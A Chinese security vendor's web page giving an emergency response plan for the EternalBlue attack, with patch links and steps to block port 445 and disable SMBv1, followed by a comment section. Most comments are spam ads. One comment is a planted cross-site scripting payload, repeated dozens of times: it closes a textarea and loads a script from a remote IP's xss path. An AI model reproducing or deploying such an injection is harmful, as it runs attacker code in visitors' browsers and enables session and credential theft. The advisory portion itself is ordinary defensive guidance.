东巽科技发布针对“永恒之蓝”攻击紧急处置方案 - APT防御产品

东巽科技发布针对“永恒之蓝”攻击紧急处置方案

重要提示


安全操作步骤:先断网——后开机——之后安装补丁


东巽科技解决方案


1.1 预警


东巽科技可提供免费设备(铁穹高级威胁性预警系统及明镜木马深度检测系统)布署到客户网络中,对永恒之蓝进行深度发现、预警。

客户可将机器或邮件附件中的可疑文件上传至东巽科技威胁情报云,得到精准分析,作为可疑文件是否携带永恒之蓝的有力证明。

东巽科技威胁情报云链接地址:https://ti.dongxuntech.com/


1.2 检测

东巽科技应急响应团队可为您整个网络的计算机及服务器进行深度检测,发现网络中存在的相关漏洞,并进而进行系统加固。

同时对于网络密级高的客户,东巽科技可提供检测工具,远程指导(电话、即时通讯工具、邮件等)客户的运维人员进行安全检测。


1.3 恢复

东巽科技应急响应团队可为您网络中已中病毒的计算机数据进行还原恢复(因感染情况不同,恢复程度不同)。

同时也可提供数据恢复工具,远程指导(电话、即时通讯工具、邮件等)客户的运维人员进行安全数据恢复。

 

2. 解决方式


2.1 安装相应补丁

可以采用自动更新或下载更新补丁的方法,补丁更新地址如下:

  •  Windows Vista、Windows Server 2008  

http://www.catalog.update.microsoft.com/search.aspx?q=4012598

  •  Windows 7、Windows Server 2008 R2   

http://www.catalog.update.microsoft.com/search.aspx?q=4012212

  •  Windows 8.1、Windows Server 2012 R2 

http://www.catalog.update.microsoft.com/search.aspx?q=4012213

  •  Windows RT 8.1

http://www.catalog.update.microsoft.com/search.aspx?q=4012216

  •  Windows Server 2012

http://www.catalog.update.microsoft.com/search.aspx?q=4012214


2.2 手动解决建议

a)      防火墙屏蔽445端口

b)      关闭 SMBv1 服务


  •  对于客户端操作系统:

1)      打开“控制面板”,单击“程序”,然后单击“打开或关闭 Windows 功能”。

2)      在“Windows 功能”窗口中,清除“SMB 1.0/CIFS 文件共享支持”复选框,然后单击“确定”以关闭此窗口。

3)      重启系统。


  •  对于服务器操作系统:

1)      打开“服务器管理器”,单击“管理”菜单,然后选择“删除角色和功能”。

2)      在“功能”窗口中,清除“SMB 1.0/CIFS


3)      文件共享支持”复选框,然后单击“确定”以关闭此窗口。



东巽科技应急响应电话:18614235601


转载请注明出处 APT防御产品 » 东巽科技发布针对“永恒之蓝”攻击紧急处置方案

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友评论(16)

  1. #16

    文章不错非常喜欢

    今日新闻 2018-08-11 23:21 回复
  2. #15

    卫星高清电视接收机 http://www.satvcn.com

    卫星电视 2018-06-14 20:40 回复
  3. #14

    工业级的装配与维修解决方案液压扳手 http://www.pipercn.com

    液压扳手 2018-06-14 20:38 回复
  4. #13

    千斤顶及PLC电脑控制同步顶升液压系统广泛用于桥梁更换橡胶支座、建筑平移、大型设备维修 www.babelaws.com

    液压千斤顶 2018-06-02 12:36 回复
  5. #12

    谢谢分享出来,这么好的内容

    液压扭矩扳手 2018-05-14 14:15 回复
  6. #11

    用胶水就用乐泰胶水和可赛新胶水这才是正确的选择 https://www.hyhaote.com

    好特易购 2018-04-28 11:53 回复
  7. #10

    “地下一百仗,藏的可真够深的,他们真行啊。”欧阳傲枫感叹道,也跟着收回神识,在乔阳的指点下,欧阳傲枫口念咒语,身子一晃消失在房间内。

    www.4459.com 2018-04-02 20:58 回复
  8. #9

    路过,支持一下!

    八角网赚站 2017-12-29 22:30 回复
  9. #8

    进来看看、支持一下

    春熙路 2017-12-27 22:01 回复
  10. #7

    </textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会</textarea>'"><script src=http://123.57.48.113/xss//9IiQ3e?1506588659></script>会

           2017-09-28 16:56 回复